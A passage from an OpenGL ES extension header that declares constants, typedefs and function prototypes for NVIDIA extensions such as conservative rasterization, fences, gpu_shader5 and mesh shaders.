GL_NV_conservative_raster #define GL_NV_conservative_raster 1 #define GL_CONSERVATIVE_RASTERIZATION_NV 0x9346 #define GL_SUBPIXEL_PRECISION_BIAS_X_BITS_NV 0x9347 #define GL_SUBPIXEL_PRECISION_BIAS_Y_BITS_NV 0x9348 #define GL_MAX_SUBPIXEL_PRECISION_BIAS_BITS_NV 0x9349 typedef void (GL_APIENTRYP PFNGLSUBPIXELPRECISIONBIASNVPROC) (GLuint xbits, GLuint ybits); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glSubpixelPrecisionBiasNV (GLuint xbits, GLuint ybits); #endif #endif /* GL_NV_conservative_raster */ #ifndef GL_NV_conservative_raster_pre_snap #define GL_NV_conservative_raster_pre_snap 1 #define GL_CONSERVATIVE_RASTER_MODE_PRE_SNAP_NV 0x9550 #endif /* GL_NV_conservative_raster_pre_snap */ #ifndef GL_NV_conservative_raster_pre_snap_triangles #define GL_NV_conservative_raster_pre_snap_triangles 1 #define GL_CONSERVATIVE_RASTER_MODE_NV 0x954D #define GL_CONSERVATIVE_RASTER_MODE_POST_SNAP_NV 0x954E #define GL_CONSERVATIVE_RASTER_MODE_PRE_SNAP_TRIANGLES_NV 0x954F typedef void (GL_APIENTRYP PFNGLCONSERVATIVERASTERPARAMETERINVPROC) (GLenum pname, GLint param); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glConservativeRasterParameteriNV (GLenum pname, GLint param); #endif #endif /* GL_NV_conservative_raster_pre_snap_triangles */ #ifndef GL_NV_copy_buffer #define GL_NV_copy_buffer 1 #define GL_COPY_READ_BUFFER_NV 0x8F36 #define GL_COPY_WRITE_BUFFER_NV 0x8F37 typedef void (GL_APIENTRYP PFNGLCOPYBUFFERSUBDATANVPROC) (GLenum readTarget, GLenum writeTarget, GLintptr readOffset, GLintptr writeOffset, GLsizeiptr size); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glCopyBufferSubDataNV (GLenum readTarget, GLenum writeTarget, GLintptr readOffset, GLintptr writeOffset, GLsizeiptr size); #endif #endif /* GL_NV_copy_buffer */ #ifndef GL_NV_coverage_sample #define GL_NV_coverage_sample 1 #define GL_COVERAGE_COMPONENT_NV 0x8ED0 #define GL_COVERAGE_COMPONENT4_NV 0x8ED1 #define GL_COVERAGE_ATTACHMENT_NV 0x8ED2 #define GL_COVERAGE_BUFFERS_NV 0x8ED3 #define GL_COVERAGE_SAMPLES_NV 0x8ED4 #define GL_COVERAGE_ALL_FRAGMENTS_NV 0x8ED5 #define GL_COVERAGE_EDGE_FRAGMENTS_NV 0x8ED6 #define GL_COVERAGE_AUTOMATIC_NV 0x8ED7 #define GL_COVERAGE_BUFFER_BIT_NV 0x00008000 typedef void (GL_APIENTRYP PFNGLCOVERAGEMASKNVPROC) (GLboolean mask); typedef void (GL_APIENTRYP PFNGLCOVERAGEOPERATIONNVPROC) (GLenum operation); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glCoverageMaskNV (GLboolean mask); GL_APICALL void GL_APIENTRY glCoverageOperationNV (GLenum operation); #endif #endif /* GL_NV_coverage_sample */ #ifndef GL_NV_depth_nonlinear #define GL_NV_depth_nonlinear 1 #define GL_DEPTH_COMPONENT16_NONLINEAR_NV 0x8E2C #endif /* GL_NV_depth_nonlinear */ #ifndef GL_NV_draw_buffers #define GL_NV_draw_buffers 1 #define GL_MAX_DRAW_BUFFERS_NV 0x8824 #define GL_DRAW_BUFFER0_NV 0x8825 #define GL_DRAW_BUFFER1_NV 0x8826 #define GL_DRAW_BUFFER2_NV 0x8827 #define GL_DRAW_BUFFER3_NV 0x8828 #define GL_DRAW_BUFFER4_NV 0x8829 #define GL_DRAW_BUFFER5_NV 0x882A #define GL_DRAW_BUFFER6_NV 0x882B #define GL_DRAW_BUFFER7_NV 0x882C #define GL_DRAW_BUFFER8_NV 0x882D #define GL_DRAW_BUFFER9_NV 0x882E #define GL_DRAW_BUFFER10_NV 0x882F #define GL_DRAW_BUFFER11_NV 0x8830 #define GL_DRAW_BUFFER12_NV 0x8831 #define GL_DRAW_BUFFER13_NV 0x8832 #define GL_DRAW_BUFFER14_NV 0x8833 #define GL_DRAW_BUFFER15_NV 0x8834 #define GL_COLOR_ATTACHMENT0_NV 0x8CE0 #define GL_COLOR_ATTACHMENT1_NV 0x8CE1 #define GL_COLOR_ATTACHMENT2_NV 0x8CE2 #define GL_COLOR_ATTACHMENT3_NV 0x8CE3 #define GL_COLOR_ATTACHMENT4_NV 0x8CE4 #define GL_COLOR_ATTACHMENT5_NV 0x8CE5 #define GL_COLOR_ATTACHMENT6_NV 0x8CE6 #define GL_COLOR_ATTACHMENT7_NV 0x8CE7 #define GL_COLOR_ATTACHMENT8_NV 0x8CE8 #define GL_COLOR_ATTACHMENT9_NV 0x8CE9 #define GL_COLOR_ATTACHMENT10_NV 0x8CEA #define GL_COLOR_ATTACHMENT11_NV 0x8CEB #define GL_COLOR_ATTACHMENT12_NV 0x8CEC #define GL_COLOR_ATTACHMENT13_NV 0x8CED #define GL_COLOR_ATTACHMENT14_NV 0x8CEE #define GL_COLOR_ATTACHMENT15_NV 0x8CEF typedef void (GL_APIENTRYP PFNGLDRAWBUFFERSNVPROC) (GLsizei n, const GLenum *bufs); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glDrawBuffersNV (GLsizei n, const GLenum *bufs); #endif #endif /* GL_NV_draw_buffers */ #ifndef GL_NV_draw_instanced #define GL_NV_draw_instanced 1 typedef void (GL_APIENTRYP PFNGLDRAWARRAYSINSTANCEDNVPROC) (GLenum mode, GLint first, GLsizei count, GLsizei primcount); typedef void (GL_APIENTRYP PFNGLDRAWELEMENTSINSTANCEDNVPROC) (GLenum mode, GLsizei count, GLenum type, const void *indices, GLsizei primcount); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glDrawArraysInstancedNV (GLenum mode, GLint first, GLsizei count, GLsizei primcount); GL_APICALL void GL_APIENTRY glDrawElementsInstancedNV (GLenum mode, GLsizei count, GLenum type, const void *indices, GLsizei primcount); #endif #endif /* GL_NV_draw_instanced */ #ifndef GL_NV_draw_vulkan_image #define GL_NV_draw_vulkan_image 1 typedef void (GL_APIENTRY *GLVULKANPROCNV)(void); typedef void (GL_APIENTRYP PFNGLDRAWVKIMAGENVPROC) (GLuint64 vkImage, GLuint sampler, GLfloat x0, GLfloat y0, GLfloat x1, GLfloat y1, GLfloat z, GLfloat s0, GLfloat t0, GLfloat s1, GLfloat t1); typedef GLVULKANPROCNV (GL_APIENTRYP PFNGLGETVKPROCADDRNVPROC) (const GLchar *name); typedef void (GL_APIENTRYP PFNGLWAITVKSEMAPHORENVPROC) (GLuint64 vkSemaphore); typedef void (GL_APIENTRYP PFNGLSIGNALVKSEMAPHORENVPROC) (GLuint64 vkSemaphore); typedef void (GL_APIENTRYP PFNGLSIGNALVKFENCENVPROC) (GLuint64 vkFence); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glDrawVkImageNV (GLuint64 vkImage, GLuint sampler, GLfloat x0, GLfloat y0, GLfloat x1, GLfloat y1, GLfloat z, GLfloat s0, GLfloat t0, GLfloat s1, GLfloat t1); GL_APICALL GLVULKANPROCNV GL_APIENTRY glGetVkProcAddrNV (const GLchar *name); GL_APICALL void GL_APIENTRY glWaitVkSemaphoreNV (GLuint64 vkSemaphore); GL_APICALL void GL_APIENTRY glSignalVkSemaphoreNV (GLuint64 vkSemaphore); GL_APICALL void GL_APIENTRY glSignalVkFenceNV (GLuint64 vkFence); #endif #endif /* GL_NV_draw_vulkan_image */ #ifndef GL_NV_explicit_attrib_location #define GL_NV_explicit_attrib_location 1 #endif /* GL_NV_explicit_attrib_location */ #ifndef GL_NV_fbo_color_attachments #define GL_NV_fbo_color_attachments 1 #define GL_MAX_COLOR_ATTACHMENTS_NV 0x8CDF #endif /* GL_NV_fbo_color_attachments */ #ifndef GL_NV_fence #define GL_NV_fence 1 #define GL_ALL_COMPLETED_NV 0x84F2 #define GL_FENCE_STATUS_NV 0x84F3 #define GL_FENCE_CONDITION_NV 0x84F4 typedef void (GL_APIENTRYP PFNGLDELETEFENCESNVPROC) (GLsizei n, const GLuint *fences); typedef void (GL_APIENTRYP PFNGLGENFENCESNVPROC) (GLsizei n, GLuint *fences); typedef GLboolean (GL_APIENTRYP PFNGLISFENCENVPROC) (GLuint fence); typedef GLboolean (GL_APIENTRYP PFNGLTESTFENCENVPROC) (GLuint fence); typedef void (GL_APIENTRYP PFNGLGETFENCEIVNVPROC) (GLuint fence, GLenum pname, GLint *params); typedef void (GL_APIENTRYP PFNGLFINISHFENCENVPROC) (GLuint fence); typedef void (GL_APIENTRYP PFNGLSETFENCENVPROC) (GLuint fence, GLenum condition); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glDeleteFencesNV (GLsizei n, const GLuint *fences); GL_APICALL void GL_APIENTRY glGenFencesNV (GLsizei n, GLuint *fences); GL_APICALL GLboolean GL_APIENTRY glIsFenceNV (GLuint fence); GL_APICALL GLboolean GL_APIENTRY glTestFenceNV (GLuint fence); GL_APICALL void GL_APIENTRY glGetFenceivNV (GLuint fence, GLenum pname, GLint *params); GL_APICALL void GL_APIENTRY glFinishFenceNV (GLuint fence); GL_APICALL void GL_APIENTRY glSetFenceNV (GLuint fence, GLenum condition); #endif #endif /* GL_NV_fence */ #ifndef GL_NV_fill_rectangle #define GL_NV_fill_rectangle 1 #define GL_FILL_RECTANGLE_NV 0x933C #endif /* GL_NV_fill_rectangle */ #ifndef GL_NV_fragment_coverage_to_color #define GL_NV_fragment_coverage_to_color 1 #define GL_FRAGMENT_COVERAGE_TO_COLOR_NV 0x92DD #define GL_FRAGMENT_COVERAGE_COLOR_NV 0x92DE typedef void (GL_APIENTRYP PFNGLFRAGMENTCOVERAGECOLORNVPROC) (GLuint color); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glFragmentCoverageColorNV (GLuint color); #endif #endif /* GL_NV_fragment_coverage_to_color */ #ifndef GL_NV_fragment_shader_barycentric #define GL_NV_fragment_shader_barycentric 1 #endif /* GL_NV_fragment_shader_barycentric */ #ifndef GL_NV_fragment_shader_interlock #define GL_NV_fragment_shader_interlock 1 #endif /* GL_NV_fragment_shader_interlock */ #ifndef GL_NV_framebuffer_blit #define GL_NV_framebuffer_blit 1 #define GL_READ_FRAMEBUFFER_NV 0x8CA8 #define GL_DRAW_FRAMEBUFFER_NV 0x8CA9 #define GL_DRAW_FRAMEBUFFER_BINDING_NV 0x8CA6 #define GL_READ_FRAMEBUFFER_BINDING_NV 0x8CAA typedef void (GL_APIENTRYP PFNGLBLITFRAMEBUFFERNVPROC) (GLint srcX0, GLint srcY0, GLint srcX1, GLint srcY1, GLint dstX0, GLint dstY0, GLint dstX1, GLint dstY1, GLbitfield mask, GLenum filter); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glBlitFramebufferNV (GLint srcX0, GLint srcY0, GLint srcX1, GLint srcY1, GLint dstX0, GLint dstY0, GLint dstX1, GLint dstY1, GLbitfield mask, GLenum filter); #endif #endif /* GL_NV_framebuffer_blit */ #ifndef GL_NV_framebuffer_mixed_samples #define GL_NV_framebuffer_mixed_samples 1 #define GL_COVERAGE_MODULATION_TABLE_NV 0x9331 #define GL_COLOR_SAMPLES_NV 0x8E20 #define GL_DEPTH_SAMPLES_NV 0x932D #define GL_STENCIL_SAMPLES_NV 0x932E #define GL_MIXED_DEPTH_SAMPLES_SUPPORTED_NV 0x932F #define GL_MIXED_STENCIL_SAMPLES_SUPPORTED_NV 0x9330 #define GL_COVERAGE_MODULATION_NV 0x9332 #define GL_COVERAGE_MODULATION_TABLE_SIZE_NV 0x9333 typedef void (GL_APIENTRYP PFNGLCOVERAGEMODULATIONTABLENVPROC) (GLsizei n, const GLfloat *v); typedef void (GL_APIENTRYP PFNGLGETCOVERAGEMODULATIONTABLENVPROC) (GLsizei bufsize, GLfloat *v); typedef void (GL_APIENTRYP PFNGLCOVERAGEMODULATIONNVPROC) (GLenum components); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glCoverageModulationTableNV (GLsizei n, const GLfloat *v); GL_APICALL void GL_APIENTRY glGetCoverageModulationTableNV (GLsizei bufsize, GLfloat *v); GL_APICALL void GL_APIENTRY glCoverageModulationNV (GLenum components); #endif #endif /* GL_NV_framebuffer_mixed_samples */ #ifndef GL_NV_framebuffer_multisample #define GL_NV_framebuffer_multisample 1 #define GL_RENDERBUFFER_SAMPLES_NV 0x8CAB #define GL_FRAMEBUFFER_INCOMPLETE_MULTISAMPLE_NV 0x8D56 #define GL_MAX_SAMPLES_NV 0x8D57 typedef void (GL_APIENTRYP PFNGLRENDERBUFFERSTORAGEMULTISAMPLENVPROC) (GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glRenderbufferStorageMultisampleNV (GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height); #endif #endif /* GL_NV_framebuffer_multisample */ #ifndef GL_NV_generate_mipmap_sRGB #define GL_NV_generate_mipmap_sRGB 1 #endif /* GL_NV_generate_mipmap_sRGB */ #ifndef GL_NV_geometry_shader_passthrough #define GL_NV_geometry_shader_passthrough 1 #endif /* GL_NV_geometry_shader_passthrough */ #ifndef GL_NV_gpu_shader5 #define GL_NV_gpu_shader5 1 typedef khronos_int64_t GLint64EXT; typedef khronos_uint64_t GLuint64EXT; #define GL_INT64_NV 0x140E #define GL_UNSIGNED_INT64_NV 0x140F #define GL_INT8_NV 0x8FE0 #define GL_INT8_VEC2_NV 0x8FE1 #define GL_INT8_VEC3_NV 0x8FE2 #define GL_INT8_VEC4_NV 0x8FE3 #define GL_INT16_NV 0x8FE4 #define GL_INT16_VEC2_NV 0x8FE5 #define GL_INT16_VEC3_NV 0x8FE6 #define GL_INT16_VEC4_NV 0x8FE7 #define GL_INT64_VEC2_NV 0x8FE9 #define GL_INT64_VEC3_NV 0x8FEA #define GL_INT64_VEC4_NV 0x8FEB #define GL_UNSIGNED_INT8_NV 0x8FEC #define GL_UNSIGNED_INT8_VEC2_NV 0x8FED #define GL_UNSIGNED_INT8_VEC3_NV 0x8FEE #define GL_UNSIGNED_INT8_VEC4_NV 0x8FEF #define GL_UNSIGNED_INT16_NV 0x8FF0 #define GL_UNSIGNED_INT16_VEC2_NV 0x8FF1 #define GL_UNSIGNED_INT16_VEC3_NV 0x8FF2 #define GL_UNSIGNED_INT16_VEC4_NV 0x8FF3 #define GL_UNSIGNED_INT64_VEC2_NV 0x8FF5 #define GL_UNSIGNED_INT64_VEC3_NV 0x8FF6 #define GL_UNSIGNED_INT64_VEC4_NV 0x8FF7 #define GL_FLOAT16_NV 0x8FF8 #define GL_FLOAT16_VEC2_NV 0x8FF9 #define GL_FLOAT16_VEC3_NV 0x8FFA #define GL_FLOAT16_VEC4_NV 0x8FFB #define GL_PATCHES 0x000E typedef void (GL_APIENTRYP PFNGLUNIFORM1I64NVPROC) (GLint location, GLint64EXT x); typedef void (GL_APIENTRYP PFNGLUNIFORM2I64NVPROC) (GLint location, GLint64EXT x, GLint64EXT y); typedef void (GL_APIENTRYP PFNGLUNIFORM3I64NVPROC) (GLint location, GLint64EXT x, GLint64EXT y, GLint64EXT z); typedef void (GL_APIENTRYP PFNGLUNIFORM4I64NVPROC) (GLint location, GLint64EXT x, GLint64EXT y, GLint64EXT z, GLint64EXT w); typedef void (GL_APIENTRYP PFNGLUNIFORM1I64VNVPROC) (GLint location, GLsizei count, const GLint64EXT *value); typedef void (GL_APIENTRYP PFNGLUNIFORM2I64VNVPROC) (GLint location, GLsizei count, const GLint64EXT *value); typedef void (GL_APIENTRYP PFNGLUNIFORM3I64VNVPROC) (GLint location, GLsizei count, const GLint64EXT *value); typedef void (GL_APIENTRYP PFNGLUNIFORM4I64VNVPROC) (GLint location, GLsizei count, const GLint64EXT *value); typedef void (GL_APIENTRYP PFNGLUNIFORM1UI64NVPROC) (GLint location, GLuint64EXT x); typedef void (GL_APIENTRYP PFNGLUNIFORM2UI64NVPROC) (GLint location, GLuint64EXT x, GLuint64EXT y); typedef void (GL_APIENTRYP PFNGLUNIFORM3UI64NVPROC) (GLint location, GLuint64EXT x, GLuint64EXT y, GLuint64EXT z); typedef void (GL_APIENTRYP PFNGLUNIFORM4UI64NVPROC) (GLint location, GLuint64EXT x, GLuint64EXT y, GLuint64EXT z, GLuint64EXT w); typedef void (GL_APIENTRYP PFNGLUNIFORM1UI64VNVPROC) (GLint location, GLsizei count, const GLuint64EXT *value); typedef void (GL_APIENTRYP PFNGLUNIFORM2UI64VNVPROC) (GLint location, GLsizei count, const GLuint64EXT *value); typedef void (GL_APIENTRYP PFNGLUNIFORM3UI64VNVPROC) (GLint location, GLsizei count, const GLuint64EXT *value); typedef void (GL_APIENTRYP PFNGLUNIFORM4UI64VNVPROC) (GLint location, GLsizei count, const GLuint64EXT *value); typedef void (GL_APIENTRYP PFNGLGETUNIFORMI64VNVPROC) (GLuint program, GLint location, GLint64EXT *params); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM1I64NVPROC) (GLuint program, GLint location, GLint64EXT x); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM2I64NVPROC) (GLuint program, GLint location, GLint64EXT x, GLint64EXT y); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM3I64NVPROC) (GLuint program, GLint location, GLint64EXT x, GLint64EXT y, GLint64EXT z); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM4I64NVPROC) (GLuint program, GLint location, GLint64EXT x, GLint64EXT y, GLint64EXT z, GLint64EXT w); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM1I64VNVPROC) (GLuint program, GLint location, GLsizei count, const GLint64EXT *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM2I64VNVPROC) (GLuint program, GLint location, GLsizei count, const GLint64EXT *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM3I64VNVPROC) (GLuint program, GLint location, GLsizei count, const GLint64EXT *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM4I64VNVPROC) (GLuint program, GLint location, GLsizei count, const GLint64EXT *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM1UI64NVPROC) (GLuint program, GLint location, GLuint64EXT x); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM2UI64NVPROC) (GLuint program, GLint location, GLuint64EXT x, GLuint64EXT y); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM3UI64NVPROC) (GLuint program, GLint location, GLuint64EXT x, GLuint64EXT y, GLuint64EXT z); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM4UI64NVPROC) (GLuint program, GLint location, GLuint64EXT x, GLuint64EXT y, GLuint64EXT z, GLuint64EXT w); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM1UI64VNVPROC) (GLuint program, GLint location, GLsizei count, const GLuint64EXT *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM2UI64VNVPROC) (GLuint program, GLint location, GLsizei count, const GLuint64EXT *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM3UI64VNVPROC) (GLuint program, GLint location, GLsizei count, const GLuint64EXT *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM4UI64VNVPROC) (GLuint program, GLint location, GLsizei count, const GLuint64EXT *value); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glUniform1i64NV (GLint location, GLint64EXT x); GL_APICALL void GL_APIENTRY glUniform2i64NV (GLint location, GLint64EXT x, GLint64EXT y); GL_APICALL void GL_APIENTRY glUniform3i64NV (GLint location, GLint64EXT x, GLint64EXT y, GLint64EXT z); GL_APICALL void GL_APIENTRY glUniform4i64NV (GLint location, GLint64EXT x, GLint64EXT y, GLint64EXT z, GLint64EXT w); GL_APICALL void GL_APIENTRY glUniform1i64vNV (GLint location, GLsizei count, const GLint64EXT *value); GL_APICALL void GL_APIENTRY glUniform2i64vNV (GLint location, GLsizei count, const GLint64EXT *value); GL_APICALL void GL_APIENTRY glUniform3i64vNV (GLint location, GLsizei count, const GLint64EXT *value); GL_APICALL void GL_APIENTRY glUniform4i64vNV (GLint location, GLsizei count, const GLint64EXT *value); GL_APICALL void GL_APIENTRY glUniform1ui64NV (GLint location, GLuint64EXT x); GL_APICALL void GL_APIENTRY glUniform2ui64NV (GLint location, GLuint64EXT x, GLuint64EXT y); GL_APICALL void GL_APIENTRY glUniform3ui64NV (GLint location, GLuint64EXT x, GLuint64EXT y, GLuint64EXT z); GL_APICALL void GL_APIENTRY glUniform4ui64NV (GLint location, GLuint64EXT x, GLuint64EXT y, GLuint64EXT z, GLuint64EXT w); GL_APICALL void GL_APIENTRY glUniform1ui64vNV (GLint location, GLsizei count, const GLuint64EXT *value); GL_APICALL void GL_APIENTRY glUniform2ui64vNV (GLint location, GLsizei count, const GLuint64EXT *value); GL_APICALL void GL_APIENTRY glUniform3ui64vNV (GLint location, GLsizei count, const GLuint64EXT *value); GL_APICALL void GL_APIENTRY glUniform4ui64vNV (GLint location, GLsizei count, const GLuint64EXT *value); GL_APICALL void GL_APIENTRY glGetUniformi64vNV (GLuint program, GLint location, GLint64EXT *params); GL_APICALL void GL_APIENTRY glProgramUniform1i64NV (GLuint program, GLint location, GLint64EXT x); GL_APICALL void GL_APIENTRY glProgramUniform2i64NV (GLuint program, GLint location, GLint64EXT x, GLint64EXT y); GL_APICALL void GL_APIENTRY glProgramUniform3i64NV (GLuint program, GLint location, GLint64EXT x, GLint64EXT y, GLint64EXT z); GL_APICALL void GL_APIENTRY glProgramUniform4i64NV (GLuint program, GLint location, GLint64EXT x, GLint64EXT y, GLint64EXT z, GLint64EXT w); GL_APICALL void GL_APIENTRY glProgramUniform1i64vNV (GLuint program, GLint location, GLsizei count, const GLint64EXT *value); GL_APICALL void GL_APIENTRY glProgramUniform2i64vNV (GLuint program, GLint location, GLsizei count, const GLint64EXT *value); GL_APICALL void GL_APIENTRY glProgramUniform3i64vNV (GLuint program, GLint location, GLsizei count, const GLint64EXT *value); GL_APICALL void GL_APIENTRY glProgramUniform4i64vNV (GLuint program, GLint location, GLsizei count, const GLint64EXT *value); GL_APICALL void GL_APIENTRY glProgramUniform1ui64NV (GLuint program, GLint location, GLuint64EXT x); GL_APICALL void GL_APIENTRY glProgramUniform2ui64NV (GLuint program, GLint location, GLuint64EXT x, GLuint64EXT y); GL_APICALL void GL_APIENTRY glProgramUniform3ui64NV (GLuint program, GLint location, GLuint64EXT x, GLuint64EXT y, GLuint64EXT z); GL_APICALL void GL_APIENTRY glProgramUniform4ui64NV (GLuint program, GLint location, GLuint64EXT x, GLuint64EXT y, GLuint64EXT z, GLuint64EXT w); GL_APICALL void GL_APIENTRY glProgramUniform1ui64vNV (GLuint program, GLint location, GLsizei count, const GLuint64EXT *value); GL_APICALL void GL_APIENTRY glProgramUniform2ui64vNV (GLuint program, GLint location, GLsizei count, const GLuint64EXT *value); GL_APICALL void GL_APIENTRY glProgramUniform3ui64vNV (GLuint program, GLint location, GLsizei count, const GLuint64EXT *value); GL_APICALL void GL_APIENTRY glProgramUniform4ui64vNV (GLuint program, GLint location, GLsizei count, const GLuint64EXT *value); #endif #endif /* GL_NV_gpu_shader5 */ #ifndef GL_NV_image_formats #define GL_NV_image_formats 1 #endif /* GL_NV_image_formats */ #ifndef GL_NV_instanced_arrays #define GL_NV_instanced_arrays 1 #define GL_VERTEX_ATTRIB_ARRAY_DIVISOR_NV 0x88FE typedef void (GL_APIENTRYP PFNGLVERTEXATTRIBDIVISORNVPROC) (GLuint index, GLuint divisor); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glVertexAttribDivisorNV (GLuint index, GLuint divisor); #endif #endif /* GL_NV_instanced_arrays */ #ifndef GL_NV_internalformat_sample_query #define GL_NV_internalformat_sample_query 1 #define GL_TEXTURE_2D_MULTISAMPLE 0x9100 #define GL_TEXTURE_2D_MULTISAMPLE_ARRAY 0x9102 #define GL_MULTISAMPLES_NV 0x9371 #define GL_SUPERSAMPLE_SCALE_X_NV 0x9372 #define GL_SUPERSAMPLE_SCALE_Y_NV 0x9373 #define GL_CONFORMANT_NV 0x9374 typedef void (GL_APIENTRYP PFNGLGETINTERNALFORMATSAMPLEIVNVPROC) (GLenum target, GLenum internalformat, GLsizei samples, GLenum pname, GLsizei bufSize, GLint *params); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glGetInternalformatSampleivNV (GLenum target, GLenum internalformat, GLsizei samples, GLenum pname, GLsizei bufSize, GLint *params); #endif #endif /* GL_NV_internalformat_sample_query */ #ifndef GL_NV_memory_attachment #define GL_NV_memory_attachment 1 #define GL_ATTACHED_MEMORY_OBJECT_NV 0x95A4 #define GL_ATTACHED_MEMORY_OFFSET_NV 0x95A5 #define GL_MEMORY_ATTACHABLE_ALIGNMENT_NV 0x95A6 #define GL_MEMORY_ATTACHABLE_SIZE_NV 0x95A7 #define GL_MEMORY_ATTACHABLE_NV 0x95A8 #define GL_DETACHED_MEMORY_INCARNATION_NV 0x95A9 #define GL_DETACHED_TEXTURES_NV 0x95AA #define GL_DETACHED_BUFFERS_NV 0x95AB #define GL_MAX_DETACHED_TEXTURES_NV 0x95AC #define GL_MAX_DETACHED_BUFFERS_NV 0x95AD typedef void (GL_APIENTRYP PFNGLGETMEMORYOBJECTDETACHEDRESOURCESUIVNVPROC) (GLuint memory, GLenum pname, GLint first, GLsizei count, GLuint *params); typedef void (GL_APIENTRYP PFNGLRESETMEMORYOBJECTPARAMETERNVPROC) (GLuint memory, GLenum pname); typedef void (GL_APIENTRYP PFNGLTEXATTACHMEMORYNVPROC) (GLenum target, GLuint memory, GLuint64 offset); typedef void (GL_APIENTRYP PFNGLBUFFERATTACHMEMORYNVPROC) (GLenum target, GLuint memory, GLuint64 offset); typedef void (GL_APIENTRYP PFNGLTEXTUREATTACHMEMORYNVPROC) (GLuint texture, GLuint memory, GLuint64 offset); typedef void (GL_APIENTRYP PFNGLNAMEDBUFFERATTACHMEMORYNVPROC) (GLuint buffer, GLuint memory, GLuint64 offset); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glGetMemoryObjectDetachedResourcesuivNV (GLuint memory, GLenum pname, GLint first, GLsizei count, GLuint *params); GL_APICALL void GL_APIENTRY glResetMemoryObjectParameterNV (GLuint memory, GLenum pname); GL_APICALL void GL_APIENTRY glTexAttachMemoryNV (GLenum target, GLuint memory, GLuint64 offset); GL_APICALL void GL_APIENTRY glBufferAttachMemoryNV (GLenum target, GLuint memory, GLuint64 offset); GL_APICALL void GL_APIENTRY glTextureAttachMemoryNV (GLuint texture, GLuint memory, GLuint64 offset); GL_APICALL void GL_APIENTRY glNamedBufferAttachMemoryNV (GLuint buffer, GLuint memory, GLuint64 offset); #endif #endif /* GL_NV_memory_attachment */ #ifndef GL_NV_mesh_shader #define GL_NV_mesh_shader 1 #define GL_MESH_SHADER_NV 0x9559 #define GL_TASK_SHADER_NV 0x955A #define GL_MAX_MESH_UNIFORM_BLOCKS_NV 0x8E60 #define GL_MAX_MESH_TEXTURE_IMAGE_UNITS_NV 0x8E61 #define GL_MAX_MESH_IMAGE_UNIFORMS_NV 0x8E62 #define GL_MAX_MESH_UNIFORM_COMPONENTS_NV 0x8E63 #define GL_MAX_MESH_ATOMIC_COUNTER_BUFFERS_NV 0x8E64 #define GL_MAX_MESH_ATOMIC_COUNTERS_NV 0x8E65 #define GL_MAX_MESH_SHADER_STORAGE_BLOCKS_NV 0x8E66 #define GL_MAX_COMBINED_MESH_UNIFORM_COMPONENTS_NV 0x8E67 #define GL_MAX_TASK_UNIFORM_BLOCKS_NV 0x8E68 #define GL_MAX_TASK_TEXTURE_IMAGE_UNITS_NV 0x8E69 #define GL_MAX_TASK_IMAGE_UNIFORMS_NV 0x8E6A #define GL_MAX_TASK_UNIFORM_COMPONENTS_NV 0x8E6B #define GL_MAX_TASK_ATOMIC_COUNTER_BUFFERS_NV 0x8E6C #define GL_MAX_TASK_ATOMIC_COUNTERS_NV 0x8E6D #define GL_MAX_TASK_SHADER_STORAGE_BLOCKS_NV 0x8E6E #define GL_MAX_COMBINED_TASK_UNIFORM_COMPONENTS_NV 0x8E6F #define GL_MAX_MESH_WORK_GROUP_INVOCATIONS_NV 0x95A2 #define GL_MAX_TASK_WORK_GROUP_INVOCATIONS_NV 0x95A3 #define GL_MAX_MESH_TOTAL_MEMORY_SIZE_NV 0x9536 #define GL_MAX_TASK_TOTAL_MEMORY_SIZE_NV 0x9537 #define GL_MAX_MESH_OUTPUT_VERTICES_NV 0x9538 #define GL_MAX_MESH_OUTPUT_PRIMITIVES_NV 0x9539 #define GL_MAX_TASK_OUTPUT_COUNT_NV 0x953A #define GL_MAX_DRAW_MESH_TASKS_COUNT_NV 0x953D #define GL_MAX_MESH_VIEWS_NV 0x9557 #define GL_MESH_OUTPUT_PER_VERTEX_GRANULARITY_NV 0x92DF #define GL_MESH_OUTPUT_PER_PRIMITIVE_GRANULARITY_NV 0x9543 #define GL_MAX_MESH_WORK_GROUP_SIZE_NV 0x953B #define GL_MAX_TASK_WORK_GROUP_SIZE_NV 0x953C #define GL_MESH_WORK_GROUP_SIZE_NV 0x953E #define GL_TASK_WORK_GROUP_SIZE_NV 0x953F #define GL_MESH_VERTICES_OUT_NV 0x9579 #define GL_MESH_PRIMITIVES_OUT_NV 0x957A #define 